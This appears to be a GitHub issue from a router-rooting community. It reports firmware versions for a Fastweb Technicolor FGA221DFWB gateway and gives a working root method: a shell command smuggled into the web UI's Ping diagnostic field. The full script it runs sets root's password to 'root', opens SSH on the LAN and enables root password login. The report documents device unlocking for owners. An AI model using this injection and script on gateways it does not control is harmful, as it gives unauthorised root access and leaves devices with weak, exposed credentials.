Support for Technicolor FGA221DFWB (GDNT-S) from Fastweb in Italy #363

General info

My gateway is currently running firmware version 22.2.0378 from Fastweb in Italy

• Product: FGA221DFWB
• ISP: Fastweb
• Countries: Italy
• Commercial name from the ISP: Fastweb NeXXt One
• Board: GDNT-S

Did anybody ever manage to get root on that device already?

Select all applicable

• Yes, by using a root strategy listed in the wiki
• Yes, following another different strategy
• No, as far as I know it has never been rooted

Say something more about the adopted strategy here
The current firmware 22.2.0378_FW_056_FGA221D allows to use the "Ping" function under "Diagnostic" to obtain ssh root access using the string: ":::::::;" currently I used it to execute a script from a USB but I think there can be also a faster alternative. Currently I used this :::::::;sh${IFS}/tmp/run/mountd/sda1/sblocco.sh and the sblocco.sh is the following:

#!/bin/sh

echo root:root | chpasswd
sed -i 's#/root:.*$#/root:/bin/ash#' /etc/passwd
sed -i -e 's/#//' -e 's#askconsole:.*$#askconsole:/bin/ash#' /etc/inittab
uci -q set $(uci show firewall | grep -m 1 $(fw3 -q print | egrep 'iptables -t filter -A zone_lan_input -p tcp -m tcp --dport 22 -m comment --comment "!fw3: .+" -j DROP' | sed -n -e 's/^iptables.\+fw3: \(.\+\)".\+//p') | sed -n -e "s/\(.\+\).name='.\+'$//p").target='ACCEPT'
uci add dropbear dropbear
uci rename dropbear.@dropbear[-1]=afg
uci set dropbear.afg.enable='1'
uci set dropbear.afg.Interface='lan'
uci set dropbear.afg.Port='22'
uci set dropbear.afg.IdleTimeout='600'
uci set dropbear.afg.PasswordAuth='on'
uci set dropbear.afg.RootPasswordAuth='on'
uci set dropbear.afg.RootLogin='1'
uci set dropbear.lan.enable='0'
uci set dropbear.global.enable='1'
uci commit dropbear
/etc/init.d/dropbear enable
/etc/init.d/dropbear restart

Firmware versions

Current Version

• Version: 22.2.0378-6761008
• Full version: 22.2.0378-6761008-20250109105133-88244d62e640b16cf96261586a8a15e93f2377cf
• Custom firmware version strings used by ISP in addition to the above: 22.2.0378_FW_056_FGA221D
• PKGTB file name: 22.2.0378_FW_056_FGA221D.pkgtb
• PKGTB official download URL: N/A Firmware are now distributed by Fastweb with a temporary link, I don't know if a repository is available
  • The link is restricted to ISP users or requires download password
• Other PKGTB download links for us to look into it: I will upload the torrent files of the 8 versions I have as soon as I can
• Raw bank dump download link: N/A
• Serial console bootlog: How to get it?
• Other potentially relevant info about this firmware version:

Other Versions (for simplicity I will just post the Custom firmware version of each firmware I have:
22.2.0378_FW_055_FGA221D.pkgtb, 22.2.0378_FW_053_FGA221D.pkgtb, 22.2.0378_FW_051_FGA221D.pkgtb, 22.2.0378_FW_050_FGA221D.pkgtb, 22.2.0378_FW_049_FGA221D.pkgtb, 22.2.0378_FW_048_FGA221D.pkgtb, 22.2.0378_FW_047_FGA221D.pkgtb, 22.2.0292_FW_024_FGA221D (Only Raw Bank Dump Available)

One last comment:
There are at least two different versions of Fastweb NeXXt One by Technicolor, one is with GPON modem (The FGA221D) and one with xDSL modem (The DGA4135). I don't have a DGA4135 but I have the pkgtbs (Same versions different product example 22.2.0378_FW_047_DGA4135.pkgtb) and I suspect that the same rooting strategy applies also to that model